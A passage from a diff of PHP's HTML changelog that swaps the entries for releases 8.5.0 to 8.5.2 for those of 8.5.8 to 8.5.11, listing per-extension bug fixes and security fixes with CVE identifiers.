      • Fixed PDOStatement::getColumnMeta() reading out of bounds for an invalid column index.
      • +
      • Fixed PDOStatement::bindColumn() registering a binding for a column name that is not in the result set.
      • +
      • Fixed PDOStatement::execute() leaving the previous result available after a failed execution.
      • +
      • Fixed a use-after-free when bindValue()/execute()/closeCursor() is called from a bound parameter's __toString() during execute().
      • +
      • Fixed bug (Destroying a persistent PDO instance rolls back a transaction still in use by another instance).
      • +
      • Fixed PDO::setAttribute() installing a PDO::ATTR_STATEMENT_CLASS class whose constructor arguments it rejects.
      • +
      • Fixed PDO::ATTR_STATEMENT_CLASS constructor_args type errors reporting "array given" regardless of the value passed.
      • +
      • Fixed PDOStatement::bindParam() and bindColumn() leaking the driver options value.
      • +
      • Fixed PDOStatement not reporting its bound parameters and columns to the cycle collector.
      • +
      • Fixed PDOStatement::setFetchMode() not applying changes atomically.
      • +
    • +
    • PDO_DBLIB: +
        +
      • Fixed bug (segfault after a failed query inside a PDO transaction). Errors raised by beginTransaction(), commit(), rollBack() and lastInsertId() are now reported instead of being dropped.
      • +
    • +
    • PDO_Firebird: +
        +
      • Fixed bug (PDO_Firebird returns null for non-null empty BLOBs).
    • PGSQL:
        -
      • Fixed INSERT/UPDATE queries building with PQescapeIdentifier() and possible UB.
      • +
      • Fixed pg_lo_write() rejecting data containing null bytes.
      • +
      • Removed pg_service(), unavailable with any released libpq.
    • Readline:
        -
      • Fixed bug (Memory leak when overriding some settings via readline_info()).
      • +
      • Fixed a heap over-read in the interactive shell prompt when cli.prompt is set to an empty string.
    • -
    • SPL: +
    • Reflection:
        -
      • Fixed bug (heap-use-after-free in SplDoublyLinkedList iterator when modifying during iteration).
      • +
      • Fixed bug (ReflectionProperty::skipLazyInitialization() copies invalid constant defaults with OPcache).
      • +
    • +
    • Session: +
        +
      • Fixed session_start() continuing after a failed create_sid() when session.use_strict_mode rejects the supplied ID.
      • +
      • Fixed exceptions from user-defined create_sid() handlers being replaced by return-value validation errors.
      • +
    • +
    • SimpleXML: +
        +
      • Fixed reconstructing a SimpleXMLElement freeing a child element that another variable still references.
      • +
    • +
    • SOAP: +
        +
      • Fixed bug (Heap use-after-free while encoding a Traversable with an illegal key).
      • +
      • Fixed memory leak when load_wsdl_ex() failed to load.
      • +
    • +
    • SQLite: +
        +
      • Fixed a crash when SQLite3::close() is called from a userland callback.
    • Standard:
        -
      • (lchown fails to change ownership of symlink with ZTS) (Jakub Zelenka)
      • -
      • Fixed bug (var_dump() crash with nested objects) (David Carlier)
      • +
      • Fixed sha1_file() returning a digest for incomplete data after a stream read failure.
      • +
      • Fixed iptcembed() corrupting JPEG headers when called recursively from an output handler.
      • +
      • Fixed proc_open() leaking descriptor zero when descriptor setup fails.
      • +
      • Fixed three Windows-only proc_open() defects: an uninitialized PROCESS_INFORMATION, an indeterminate comspec pointer after a failed lookup, and an unchecked CreateFileA() failure.
      • +
      • Fix persistent stream context lifetime during shutdown (Levi Morrison)
      • +
      • Fix wordwrap() ignoring an existing break at the end of the string (Nicolas Grekas)
      • +
      • Fixed convert.quoted-printable-decode decoding lowercase hex digits to the wrong byte.
      • +
      • Fixed chown() and lchown() failing to resolve user names in ZTS builds when getpwnam_r() needs a larger buffer.
      • +
    • +
    • Tidy: +
        +
      • Fixed a use-after-free when a tidyNode is used after its document is reparsed.
      • +
    • +
    • Zlib: +
        +
      • Fixed inflate_init() dropping the preset dictionary for raw streams with a non-default window.
    -
    -

    Version 8.5.2

    - -
    • Core: +
      +

      Version 8.5.11

      + +
      • BCMath:
          -
        • Fix OSS-Fuzz #465488618 (Wrong assumptions when dumping function signature with dynamic class const lookup default argument).
        • -
        • Fixed bug (Assertion failure in normalize_value() when parsing malformed INI input via parse_ini_string()).
        • -
        • Fixed bug (Uncatchable exception thrown in generator).
        • -
        • Fixed bug (UAF in php_output_handler_free via re-entrant ob_start() during error deactivation).
        • -
        • Fixed bug ("Casting out of range floats to int" applies to strings).
        • +
        • Fixed out-of-bounds read in bc_is_zero_for_scale() when scale exceeds n_scale.
        • +
      • +
      • Core: +
          +
        • Fixed out-of-bounds reads during automatic UTF-16/32 encoding detection.
        • +
        • Fixed bug (Nested "yield from" skips items after a valid() or next() call on the inner generator).
        • +
        • Fixed bug (lone namespace separator asks the autoloader for an empty class name).
        • +
        • Fixed bug (Nested "yield from" yields a value twice when the middle generator delegates again).
      • DOM:
          -
        • Fixed bug (Null pointer dereference in DOM namespace node cloning via clone on malformed objects).
        • -
        • Fixed bug (Dom\XMLDocument::C14N() seems broken compared to DOMDocument::C14N()).
        • +
        • Fixed NamedNodeMap::getNamedItemNS() with an empty URI not matching the null namespace in spec-following mode.
        • +
        • Fixed stale getElementsByClassName() and other node list caches after className/classList writes and attribute removals.
        • +
        • Fixed a use-after-free when cloning a DOMNameSpaceNode after DOMDocument::xinclude().
        • +
        • Fixed a crash in DOMXPath when a php:function callback receives a nodeset and a later callback returns a node from another document.
        • +
        • Fixed bug (UAF when node_list_unlink() skips attribute children that still have a live wrapper).
        • +
        • Fixed a use-after-free when Dom\Element::setAttributeNS() replaces the value of an attribute whose child still has a live wrapper.
      • -
      • EXIF: +
      • GD:
          -
        • Fixed bug (Integer underflow in exif HEIF parsing when pos.size < 2).
        • +
        • Fixed imageaffinematrixget() and imageaffinematrixconcat() reporting the wrong argument in error messages.
        • +
      • +
      • FPM: +
          +
        • Fixed bug (FPM UID and GID overflow).
        • +
        • Fixed (IPv6 ACL bypass in FastCGI listen.allowed_clients due to partial address comparison). (CVE-2026-91768)
      • Intl:
          -
        • Fix leak in umsg_format_helper().
        • +
        • Fixed grapheme_strpos() and grapheme_strrpos() with an empty needle returning UTF-16 offsets instead of grapheme offsets.
        • +
        • Fixed a memory leak when dumping IntlCalendar instances.
        • +
        • Fixed a memory leak when iterating IntlBreakIterator::getPartsIterator() results.
        • +
        • Fixed a double-free when IntlGregorianCalendar construction fails after the ICU constructor adopts the TimeZone.
        • +
        • Fixed bug (NumberFormatter parsing offsets use UTF-16 positions for UTF-8 strings).
        • +
        • Fixed Locale::parseLocale() reading past a trailing '-' or '_'.
        • +
        • Fixed grapheme_str_split() treating UBRK_DONE as a byte index.
        • +
        • Fixed a leak in Locale::getKeywords() when a keyword value cannot be read.
        • +
        • Fixed a use-after-free when IntlRuleBasedBreakIterator is constructed from compiled rules.
      • -
      • LDAP: +
      • MBString:
          -
        • Fix memory leak in ldap_set_options().
        • +
        • Fixed mb_ereg_replace() emitting a NUL or out-of-bounds bytes in the replacement when a \k<name> backref has no closing delimiter.
      • -
      • Lexbor: +
      • MySQLnd:
          -
        • Fixed bug (\Uri\WhatWg\Url::withHost() crashes (SEGV) for URLs using the file: scheme).
        • +
        • Fixed (Various packet overreads in mysqlnd wire protocol). (CVE-2025-1218)
      • -
      • Mbstring: +
      • ODBC:
          -
        • Fixed bug (mb_decode_mimeheader does not handle separator).
        • +
        • Fixed odbc_field_len(), odbc_field_scale() and odbc_field_type() returning uninitialized memory when SQLColAttribute fails.
      • -
      • PCNTL: +
      • Opcache:
          -
        • Fixed bug with pcntl_getcpuaffinity() on solaris regarding invalid process ids handling.
        • +
        • Fixed opcache.protect_memory race under ZTS.
        • +
        • Fixed a tracing JIT crash when compiling a side trace for a method of a class that could not be stored in the inheritance cache.
        • +
        • Fixed a crash when the huge page SHM remap discarded mappings outside the reserved address range.
        • +
      • +
      • OpenSSL: +
          +
        • Fixed (TLS hostname verification falls back to CN after SAN mismatch). (CVE-2026-91769)
        • +
        • Fixed (Heap buffer overflow in php_openssl_matches_wildcard_name() on crafted server certificate wildcard CN). (CVE-2026-91767)
        • +
      • +
      • PDO: +
          +
        • Fixed a leak when a persistent connection failed a liveness check with no other live PDO handle.
        • +
      • +
      • PDO_PGSQL: +
          +
        • Fixed PDO::CURSOR_SCROLL statements failing under lazy fetching (PDO::ATTR_PREFETCH => 0).
        • +
      • +
      • PDO Sqlite: +
          +
        • Fixed bug (PDO::FETCH_DEFAULT unexpected behavior with PDOStatement::setFetchMode).
      • Phar:
          -
        • Fixed bug (Phar::LoadPhar undefined behavior when reading fails).
        • -
        • Fix SplFileInfo::openFile() in write mode.
        • -
        • Fix build on legacy OpenSSL 1.1.0 systems.
        • -
        • (Phar extractTo creates empty files).
        • +
        • Fixed bug (Use-after-free when looking up mounted directories).
        • +
        • Fixed bug (Memory leak on duplicate native Phar manifest entries).
        • +
        • Fixed (Integer overflow in phar_tar_number() allowing TAR archive entry injection). (CVE-2026-6103)
      • -
      • Session: +
      • Readline:
          -
        • Fix support for MM module.
        • +
        • Fixed the interactive shell not waiting for the pager process to exit.
      • -
      • Sqlite3: +
      • SOAP:
          -
        • Fixed bug (SQLite3Result fetchArray return array|false, null returned).
        • +
        • Fixed WSDL cache corruption when a soap:header defines headerfaults.
        • +
        • Fixed stack overflow when parsing a WSDL with self-referential schema groups or attributeGroups.
        • +
        • Fixed (Unbounded recursion in server-side cleanup_xml_node()). (CVE-2026-91765)
        • +
        • Fixed (Integer overflow to buffer overflow in SOAP HTTP parsing). (CVE-2025-14181)
      • Standard:
          -
        • Fix error check for proc_open() command.
        • -
        • Fix memory leak in mail() when header key is numeric.
        • -
        • Fixed bug (Heap Buffer Overflow in iptcembed).
        • +
        • Fixed a segfault when a stream filter callback unsets StreamBucket::$data before re-attaching the bucket.
        • +
        • Fixed (Out-of-bounds read in the HTTP stream wrapper when following a redirect with an empty Location header). (CVE-2026-93682)
        • +
        • Fixed read buffer compaction in php_stream_filter_flush().
        • +
        • Fixed bug (Incorrect float behavior with large numbers).
        • +
        • Fixed (fsockopen()/pfsockopen() ValueError reported wrong argument number for $timeout).
        • +
        • Fixed bug (Next index for array returned from array_keys() is wrong).
        • +
        • Fixed (Out-of-bounds read in convert.* stream filters when line-break-chars contains NUL). (CVE-2026-92842)
        • +
        • Fixed (Cross-origin credential leak in HTTP stream wrapper redirects). (CVE-2026-91766)
      • -
      • URI: +
      • SimpleXML:
          -
        • Fixed bug (Assertion failure when getUnicodeHost() returns empty string).
        • +
        • Fixed writing to a dimension of the object returned by attributes() not creating the attribute.
        • +
        • Fixed child elements of the element returned by SimpleXMLElement::addChild() not being accessible by property name when namespaces are involved.
      • -
      • Zlib: +
      • Windows:
          -
        • Fix OOB gzseek() causing assertion failure.
        • +
        • Fixed (Reserved device names are not rejected before file and stream I/O). (CVE-2026-17545)
        • +
      • +
      • Zip: +
          +
        • Fixed bug (ZipArchive stream stops reading early when the archive is freed while the stream is still open).
        • +
        • Fixed bug (ZipArchive subclass storing its own stream cannot be garbage collected).
        • +
      • +
      • SAPI: +
          +
        • Fixed fuzzer targets failing to build in isolation.
        • +
        • Fixed returns uninitialized value on LiteSpeed lsapi SAPI (Go Kudo)
      -
      -

      Version 8.5.1

      - +
      +

      Version 8.5.10

      +
      • Core:
          -
        • Sync all boost.context files with release 1.86.0.
        • -
        • Fixed bug (SensitiveParameter doesn't work for named argument passing to variadic parameter).
        • -
        • Fixed bug (preserve_none attribute configure check on macOs issue).
        • -
        • Fixed bug (use-after-destroy during userland stream_close()).
        • +
        • Fixed bug (Const expr FCC crashes under preloading).
        • +
        • Fixed bug (Stack overflow when comparing deeply nested arrays).
      • -
      • Bz2: +
      • Date:
          -
        • Fix assertion failures resulting in crashes with stream filter object parameters.
        • +
        • Fixed leak on double DatePeriod::__construct() call.
      • DOM:
          -
        • Fix memory leak when edge case is hit when registering xpath callback.
        • -
        • Fixed bug (querySelector and querySelectorAll requires elements in $selectors to be lowercase).
        • -
        • Fix missing NUL byte check on C14NFile().
        • +
        • Fixed bug (Stack overflow when normalizing a deeply nested DOMDocument).
        • +
        • Fixed bug (Stack overflow when normalizing a deeply nested Dom\XMLDocument).
        • +
        • Fixed bug (DOMElement::setAttribute() fails silently when the DTD declares a default value for the attribute).
        • +
        • Fixed bug (Stack overflow when comparing deeply nested DOM nodes with DOMNode::isEqualNode()).
      • -
      • Fibers: +
      • Exif:
          -
        • Fixed bug (ASAN stack overflow with fiber.stack_size INI small value).
        • +
        • Fixed exif_read_data() allocating a HEIF meta box larger than the file it came from.
      • Intl:
          -
        • Fixed bug (Spoofchecker::setRestrictionLevel() error message suggests missing constants).
        • +
        • Fixed IntlListFormatter::__construct() leaving stale global error state after successful calls.
      • -
      • Lexbor: +
      • Opcache:
          -
        • Fixed bug (\Uri\WhatWg\Url lose host after calling withPath() or withQuery()).
        • -
        • Fixed bug (\Uri\WhatWg\Url crashes (SEGV) when parsing malformed URL due to Lexbor memory corruption).
        • +
        • Fixed (DT_TEXTREL in JIT-generated TLS access on x86_64).
        • +
        • Fixed bug (JIT fails to clear ZREG_TYPE_ONLY after setting reg).
        • +
        • Fixed bug (Function JIT emits wrong code for FETCH_OBJ_FUNC_ARG on a property hook getter, losing register-held variables).
        • +
        • Fixed bug (Preserve parent regs in zend_jit_deoptimizer_start()).
      • -
      • LibXML: +
      • OpenSSL:
          -
        • Fix some deprecations on newer libxml versions regarding input buffer/parser handling.
        • +
        • Fix missing error check on invalid alpn protocols.
      • -
      • MySQLnd: +
      • MBString:
          -
        • Fixed bug (Regression breaks mysql connexion using an IPv6 address enclosed in square brackets).
        • +
        • Fixed bug (mb_strrpos() returns the wrong position for a negative offset in a non-UTF-8 encoding).
        • +
        • Fixed bug (mb_ereg_search_getregs() crashes after mb_eregi() invalidates the regex cache).
      • -
      • Opcache: +
      • PCRE:
          -
        • Fixed bug (opcache.file_cache broken with full interned string buffer).
        • +
        • Fixed bug (Crash with \C + UTF-8). Using \C in UTF-8 patterns is now forbidden.
      • -
      • PDO: +
      • PDO_ODBC:
          -
        • Fixed bug (PDO::FETCH_CLASSTYPE ignores $constructorArgs in PHP 8.5.0).
        • -
        • Fixed (PDO quoting result null deref). (CVE-2025-14180)
        • +
        • Fixed bug (NULL values in long columns come back as garbage binary strings).
      • -
      • Phar: +
      • PDO_PGSQL:
          -
        • Fixed bug (Phar does not respect case-insensitiveness of __halt_compiler() when reading stub).
        • -
        • Fix broken return value of fflush() for phar file entries.
        • -
        • Fix assertion failure when fseeking a phar file out of bounds.
        • +
        • Fixed several lazy fetch (PDO::ATTR_PREFETCH => 0) defects: an infinite loop when cleaning up a fetch left in a COPY, a use-after-free when a statement with emulated or disabled prepares is destroyed, a connection left busy for the next fetch, and rows delivered from a result another statement took over.
      • -
      • PHPDBG: +
      • Reflection:
          -
        • Fixed ZPP type violation in phpdbg_get_executable() and phpdbg_end_oplog().
        • +
        • Fixed bug (Reflection exception messages truncate on null bytes).
        • +
        • Fixed ReflectionProperty::isLazy() and skipLazyInitialization() using the parent slot when a child class hooks an inherited property.
        • +
        • Fixed segfault in ReflectionMethod::createFromMethodName() on an uninstantiable subclass.
      • -
      • SPL: +
      • Session:
          -
        • Fixed bug (SplFixedArray incorrectly handles references in deserialization).
        • +
        • Fix corruption in mod_mm.
        • +
        • Fixed bug (broken session id code can cause zend_mm_heap corrupted).
      • -
      • Standard: +
      • SimpleXML:
          -
        • Fix memory leak in array_diff() with custom type checks.
        • -
        • Fixed bug (Stack overflow in http_build_query via deep structures).
        • -
        • Fixed (Null byte termination in dns_get_record()).
        • -
        • Fixed (Heap buffer overflow in array_merge()). (CVE-2025-14178)
        • -
        • Fixed (Information Leak of Memory in getimagesize). (CVE-2025-14177)
        • +
        • Fixed integer element offsets that cannot resolve aliasing an existing element.
        • +
        • Fixed segfault when comparing uninitialized SimpleXMLElement instances.
      • -
      • URI: +
      • Sockets:
          -
        • Fixed bug (ext/uri incorrectly throws ValueError when encountering null byte).
        • -
        • Fixed CVE-2025-67899 (uriparser through 0.9.9 allows unbounded recursion and stack consumption).
        • +
        • Fixed socket_set_option() validation error messages for UDP_SEGMENT and SO_LINGER options.
        • +
        • Fixed various memory related issues in ext/sockets.
      • -
      • XML: +
      • SQLite:
          -
        • Fixed bug (xml_set_default_handler() does not properly handle special characters in attributes when passing data to callback).
        • +
        • Fix leak when trying to close db if blob stream is still open.
      • -
      • Zip: +
      • Standard:
          -
        • Fix crash in property existence test.
        • -
        • Don't truncate return value of zip_fread() with user sizes.
        • +
        • Fixed bug (Stack overflow in array_walk_recursive() with deeply nested arrays).
        • +
        • Fixed bug (Stack overflow in array_replace_recursive() with deeply nested arrays).
        • +
        • Fixed bug (Stack overflow in compact() with deeply nested arrays).
      • -
      • Zlib: +
      • Streams:
          -
        • Fix assertion failures resulting in crashes with stream filter object parameters.
        • +
        • Fixed bug (Use-after-free when a user stream filter accesses $this->stream during the close flush).
        • +
      • +
      • XSL: +
          +
        • Fixed use-after-free when a DOMDocument subclass __clone() retains the stylesheet copy made by XSLTProcessor::importStylesheet().
      -
      -

      Version 8.5.0

      - +
      +

      Version 8.5.9

      +
      • Core:
          -
        • Added the #[\NoDiscard] attribute to indicate that a function's return value is important and should be consumed.
        • -
        • Added the (void) cast to indicate that not using a value is intentional.
        • -
        • Added get_error_handler(), get_exception_handler() functions.
        • -
        • Added support for casts in constant expressions.
        • -
        • Added the pipe (|>) operator.
        • -
        • Added the #[\DelayedTargetValidation] attribute to delay target errors for internal attributes from compile time to runtime.
        • -
        • Added support for `final` with constructor property promotion.
        • -
        • Added support for configuring the URI parser for the FTP/FTPS as well as the SSL/TLS stream wrappers as described in https://wiki.php.net/rfc/url_parsing_api#plugability.
        • -
        • Added PHP_BUILD_PROVIDER constant.
        • -
        • Added PHP_BUILD_DATE constant.
        • -
        • Added support for Closures and first class callables in constant expressions.
        • -
        • Add support for backtraces for fatal errors.
        • -
        • Add clone-with support to the clone() function.
        • -
        • Add RFC 3986 and WHATWG URL compliant APIs for URL parsing and manipulation (kocsismate, timwolla)
        • -
        • Fixed AST printing for immediately invoked Closure.
        • -
        • Properly handle __debugInfo() returning an array reference.
        • -
        • Properly handle reference return value from __toString().
        • -
        • Improved error message of UnhandledMatchError for zend.exception_string_param_max_len=0.
        • -
        • Fixed bug and (Bind traits before parent class).
        • -
        • Fixed bug (memory_limit is not always limited by max_memory_limit).
        • -
        • Fixed bug (Stale EG(opline_before_exception) pointer through eval).
        • -
        • Fixed bug (Missing new Foo(...) error in constant expressions).
        • -
        • Fixed bug (Don't bail when closing resources on shutdown).
        • -
        • Fixed bug (Accessing overridden private property in get_object_vars() triggers assertion error).
        • -
        • Fix OSS-Fuzz #447521098 (Fatal error during sccp shift eval).
        • -
        • Fixed bug (Broken build on *BSD with MSAN).
        • -
        • Fixed bug (Cross-compilation with musl C library).
        • -
        • Fixed bug (object_properties_load() bypasses readonly property checks).
        • -
        • Fixed hard_timeout with --enable-zend-max-execution-timers.
        • -
        • Fixed bug (Incorrect HASH_FLAG_HAS_EMPTY_IND flag on userland array).
        • -
        • Fixed bug (register_argc_argv deprecation emitted twice when using OPcache).
        • -
        • Fixed bug (error_log php.ini cannot be unset when open_basedir is configured).
        • -
        • Fixed bug (Allow empty statements before declare(strict_types)).
        • -
        • Fixed bug (CGI with auto_globals_jit=0 causes uouv).
        • -
        • Fixed bug (Stale array iterator pointer).
        • -
        • Fixed bug (zend_ssa_range_widening may fail to converge).
        • -
        • Fixed bug (PHP_EXPAND_PATH broken with bash 5.3.0).
        • -
        • Fixed bug (Repeated inclusion of file with __halt_compiler() triggers "Constant already defined" warning).
        • -
        • Fixed bug (pipe operator fails to correctly handle returning by reference).
        • -
        • Fixed bug (Wrong lineno in property error with constructor property promotion).
        • -
        • Fixed bug (Relax missing trait fatal error to error exception).
        • -
        • Fixed bug (NULL-ptr dereference when using register_tick_function in destructor).
        • -
        • Fixed bug (Improve "expecting token" error for ampersand).
        • -
        • The report_memleaks INI directive has been deprecated.
        • -
        • Fixed OSS-Fuzz #439125710 (Pipe cannot be used in write context).
        • -
        • Fixed bug (Shared memory violation on property inheritance).
        • -
        • Fixed bug (GC treats ZEND_WEAKREF_TAG_MAP references as WeakMap references).
        • -
        • Fixed bug (Don't substitute self/parent with anonymous class).
        • -
        • Fix support for non-userland stream notifiers.
        • -
        • Fixed bug (Operands may be being released during comparison).
        • -
        • Fixed bug (Generator can be resumed while fetching next value from delegated Generator).
        • -
        • Fixed bug (Calling Generator::throw() on a running generator with a non-Generator delegate crashes).
        • -
        • Fix OSS-Fuzz #427814452 (pipe compilation fails with assert).
        • -
        • Fixed bug (\array and \callable should not be usable in class_alias).
        • -
        • Use `clock_gettime_nsec_np()` for high resolution timer on macOS if available.
        • -
        • Make `clone()` a function.
        • -
        • Introduced the TAILCALL VM, enabled by default when compiling with Clang>=19 on x86_64 or aarch64.
        • -
        • Enacted the follow-up phase of the "Path to Saner Increment/Decrement operators" RFC, meaning that incrementing non-numeric strings is now deprecated. (Girgias).
        • -
        • Various closure binding issues are now deprecated.
        • -
        • Constant redeclaration has been deprecated.
        • -
        • Marks the stack as non-executable on Haiku.
        • -
        • Deriving $_SERVER['argc'] and $_SERVER['argv'] from the query string is now deprecated.
        • -
        • Using null as an array offset or when calling array_key_exists() is now deprecated.
        • -
        • The disable_classes INI directive has been removed.
        • -
        • The locally predefined variable $http_response_header is deprecated.
        • -
        • Non-canonical cast names (boolean), (integer), (double), and (binary) have been deprecated.
        • -
        • The $exclude_disabled parameter of the get_defined_functions() function has been deprecated, as it no longer has any effect since PHP 8.0.
        • -
        • Terminating case statements with a semicolon instead of a colon has been deprecated.
        • -
        • The backtick operator as an alias for shell_exec() has been deprecated.
        • -
        • Returning null from __debugInfo() has been deprecated.
        • -
        • Support #[\Override] on properties.
        • -
        • Destructing non-array values (other than NULL) using [] or list() now emits a warning.
        • -
        • Casting floats that are not representable as ints now emits a warning.
        • -
        • Casting NAN to other types now emits a warning.
        • -
        • Implement (Enhance zend_dump_op_array to properly represent non-printable characters in string literals).
        • -
        • Fixed bug (Engine UAF with reference assign and dtor).
        • -
        • Do not use RTLD_DEEPBIND if dlmopen is available.
        • -
        • Implement (It is now allowed to substitute static with self or the concrete class name - in final subclasses)
        • +
        • Fixed bug (AST pretty printing does not correctly handle strings containing NUL).
        • +
        • Fixed bug (missing return in global register detection).
        • +
        • Lock unmodified readonly properties for modification after clone-with.
      • BCMath:
          -
        • Simplify `bc_divide()` code.
        • -
        • If the result is 0, n_scale is set to 0.
        • -
        • If size of BC_VECTOR array is within 64 bytes, stack area is now used.
        • -
        • Fixed bug (Power of 0 of BcMath number causes UB).
        • +
        • Fixed (Out-of-bounds write in bccomp()). (CVE-2026-17544)
      • -
      • Bz2: +
      • Calendar:
          -
        • Fixed bug (Broken bzopen() stream mode validation).
        • +
        • Fixed bug (gregoriantojd() and juliantojd() integer overflow with INT_MAX year).
      • -
      • CLI: +
      • Date:
          -
        • Add --ini=diff to print INI settings changed from the builtin default.
        • -
        • Drop support for -z CLI/CGI flag.
        • -
        • Fixed - development server 404 page does not adapt to mobiles.
        • -
        • Fix useless "Failed to poll event" error logs due to EAGAIN in CLI server with PHP_CLI_SERVER_WORKERS.
        • -
        • Fixed bug (Improve error message on listening error with IPv6 address).
        • +
        • Update timelib to 2022.17.
        • +
        • Fixed bug (Parsing a string with a single white space does create an error).
        • +
        • Fixed Unix timestamps in February of the year 0 are misparsed with @-notation.
        • +
        • Fixed bug (__debugInfo does nothing on userland classes extending Date classes).
      • -
      • COM: +
      • DBA:
          -
        • Fixed property access of PHP objects wrapped in variant.
        • -
        • Fixed method calls for PHP objects wrapped in variant.
        • +
        • Fixed OOB read on malformed length field in dba flatfile handler.
      • -
      • Curl: +
      • DOM:
          -
        • Added CURLFOLLOW_ALL, CURLFOLLOW_OBEYCODE and CURLFOLLOW_FIRSTONLY values for CURLOPT_FOLLOWLOCATION curl_easy_setopt option.
        • -
        • Added curl_multi_get_handles().
        • -
        • Added curl_share_init_persistent().
        • -
        • Added CURLINFO_USED_PROXY, CURLINFO_HTTPAUTH_USED, and CURLINFO_PROXYAUTH_USED support to curl_getinfo.
        • -
        • Add support for CURLINFO_CONN_ID in curl_getinfo() (thecaliskan)
        • -
        • Add support for CURLINFO_QUEUE_TIME_T in curl_getinfo() (thecaliskan)
        • -
        • Add support for CURLOPT_SSL_SIGNATURE_ALGORITHMS.
        • -
        • The curl_close() function has been deprecated.
        • -
        • The curl_share_close() function has been deprecated.
        • -
        • Fix cloning of CURLOPT_POSTFIELDS when using the clone operator instead of the curl_copy_handle() function to clone a CurlHandle.
        • +
        • Fixed bug (Stack overflow when serializing a deeply nested Dom\XMLDocument).
        • +
        • Fixed getElementsByClassName() item() returning the wrong element on random access.
        • +
      • +
      • Exif: +
          +
        • Fixed bug (exif_read_data() emits a spurious "Illegal IFD size" warning when an IFD is not followed by a next-IFD offset).
        • +
      • +
      • GD: +
          +
        • Upgrade libgd. (CVE-2026-9672)
        • +
      • +
      • Hash: +
          +
        • Fixed bug (ext/hash relies on implementation-defined malloc alignment).
        • +
      • +
      • ODBC: +
          +
        • Fixed bug (Heap buffer over-read when a column value exceeds the driver-reported display size).
        • +
      • +
      • Opcache: +
          +
        • Fixed bug (Tracing JIT dispatches the observer begin handler through the wrong run_time_cache slot on megamorphic calls).
        • +
        • Fixed bug (Tracing JIT SIGSEGV on megamorphic dynamic calls from an undereferenced run_time_cache map_ptr offset).
        • +
        • Fixed bug (Infinite recursion in property hook getter in opcache preloaded trait).
        • +
      • +
      • OpenSSL: +
          +
        • Fixed timeout for supplemental read at end of a blocking stream in SSL stream wrapper.
        • +
      • +
      • Intl: +
          +
        • Fixed Locale::lookup() and locale_lookup() to return NULL instead of the fallback locale when a language tag cannot be canonicalized.
        • +
        • Fixed memory leaks when calling Collator::__construct() or Spoofchecker::__construct() twice.
        • +
        • Fixed memory leak when calling IntlListFormatter::__construct() twice.
        • +
        • Fixed IntlChar methods leaving stale global error state after successful calls.
        • +
      • +
      • PDO_ODBC: +
          +
        • Fixed bug (Crash with ODBC connection pooling when the DSN carries no credentials).
        • +
        • Fixed bug (Heap buffer over-read when a column value exceeds the driver-reported display size).
        • +
        • Fixed bug (Heap buffer overflow when an output parameter value is longer than the declared maxlen).
        • +
        • Fixed bug (Out-of-bounds write when the ODBC driver reports a diagnostic message length beyond the error buffer).
        • +
      • +
      • PGSQL: +
          +
        • Fixed (SQL injection via E'...' backslash breakout). (CVE-2026-17543)
        • +
      • +
      • Phar: +
          +
        • Fixed inconsistent handling of the magic ".phar" directory. Paths such as "/.phar" remain protected, while non-magic paths that merely start with ".phar" are handled consistently across file and directory creation, copying, ArrayAccess, stream lookup, directory iteration and extraction.
        • +
        • Fixed (Crash via recursive symlinks). (CVE-2026-7260)
        • +
      • +
      • PHPDBG: +
          +
        • Fixed bug (Trivial crash in phpdbg lexer).
        • +
        • Fixed fleaked lowercased lookup keys in phpdbg_resolve_opline_break.
        • +
        • Fixed off-by-one in phpdbg_safe_class_lookup() causing class lookups to always fail during phpdbg's signal-safe interruption path.
        • +
      • +
      • Reflection: +
          +
        • Fixed bug (Ignore leading namespace separator in ReflectionParameter::__construct()).
        • +
        • Fixed bug (ReflectionClass::hasProperty() and getProperty() ignore dynamic properties shadowing a private parent property).
        • +
        • Fixed bug (ReflectionConstant::__toString() with a string value with null bytes truncates output).
        • +
        • Fixed bug (Reflection(Class)Constant::__toString() should not warn on NAN conversions).
        • +
        • Fixed bug (Reflection*::__toString() truncates on null bytes).
        • +
      • +
      • Session: +
          +
        • Fixed bug (Different session garbage collector behavior between PHP 8.3 and PHP 8.5).
        • +
      • +
      • SPL: +
          +
        • Fix class_parents for classes with leading slash in non-autoload mode.
        • +
        • Ignore leading back-slash in class_parents(), class_implements(), and class_uses().
        • +
        • Fixed bug (SplFileObject::fputcsv() on an uninitialized object segfaults).
        • +
      • +
      • Standard: +
          +
        • Fixed bug (base_convert() outputs at most 64 characters).
        • +
        • Fixed bug (Use-after-free in array_multisort() when the comparator mutates the array being sorted).
        • +
      • +
      • URI: +
          +
        • Fixed behavior of Uri\WhatWg\Url wither methods with regards to empty opaque hosts.
        • +
        • Fixed bug (Percent-encoding of caret in WHATWG URL paths is not performed).
        • +
        • Fixed bug (WHATWG Validation error incorrect with empty host and non-empty userinfo).
        • +
      • +
      • Zip: +
          +
        • Fixed bug (ZipArchive::setCommentName() and setCommentIndex() could crash after overwriting an entry and resetting its inherited unchanged comment).
        • +
        • Fixed bug (ZipArchive::getFromIndex() ignores ZipArchive::FL_UNCHANGED for deleted entries).
        • +
      • +
      +
      + + + +
      +

      Version 8.5.8

      + +
      • Core: +
          +
        • Fixed bug (Incorrect compile error for goto to label preceding try/finally block).
        • +
        • Fixed bug (Assertion when error handler throws during NaN to bool/string coercion).
        • +
      • +
      • BCMath: +
          +
        • Fixed issues with oversized allocations and signed overflow in bcround() and BcMath\Number::round().
      • Date:
          -
        • Fix undefined behaviour problems regarding integer overflow in extreme edge cases.
        • -
        • The DATE_RFC7231 and DateTimeInterface::RFC7231 constants have been deprecated.
        • -
        • Fixed date_sunrise() and date_sunset() with partial-hour UTC offset.
        • -
        • Fixed : "P" format for ::createFromFormat swallows string literals.
        • -
        • The __wakeup() magic method of DateTimeInterface, DateTime, DateTimeImmutable, DateTimeZone, DateInterval, and DatePeriod has been deprecated in favour of the __unserialize() magic method.
        • +
        • Fix incorrect recurrence check of DatePeriod::createFromISO8601String().
        • +
      • +
      • Exif: +
          +
        • Read correct value for single and double tags.
        • +
      • +
      • GD: +
          +
        • Fixed bug (Double free in gdImageSetStyle() after overflow-triggered early return).
        • +
      • +
      • Intl: +
          +
        • Fix incorrect argument positions for invalid start/end arguments in transliterator_transliterate().
        • +
        • Fixed IntlTimeZone::getDisplayName() to synchronize object error state for invalid display types.
        • +
      • +
      • Lexbor: +
          +
        • Merge patch c3a6847.
        • +
      • +
      • Opcache: +
          +
        • Fixed bug (Another tailcall vm_interrupt bug).
        • +
        • Fixed bug (Unsafe inheritance cache replay with reentrant autoloading).
        • +
        • Fixed bug (Corrupted variable type when a typed by-value return contains a reference wrapper).
        • +
      • +
      • OpenSSL: +
          +
